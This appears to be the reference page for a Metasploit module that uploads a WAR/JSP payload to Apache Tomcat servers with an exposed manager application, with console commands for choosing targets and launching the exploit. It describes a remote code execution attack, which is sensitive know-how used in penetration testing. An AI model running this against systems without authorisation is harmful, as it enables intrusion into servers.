This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.
Java,Linux,Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > show targets
...targets...
msf exploit(tomcat_mgr_upload) > set TARGET < target-id >
msf exploit(tomcat_mgr_upload) > show options
...show and set options...
msf exploit(tomcat_mgr_upload) > exploit
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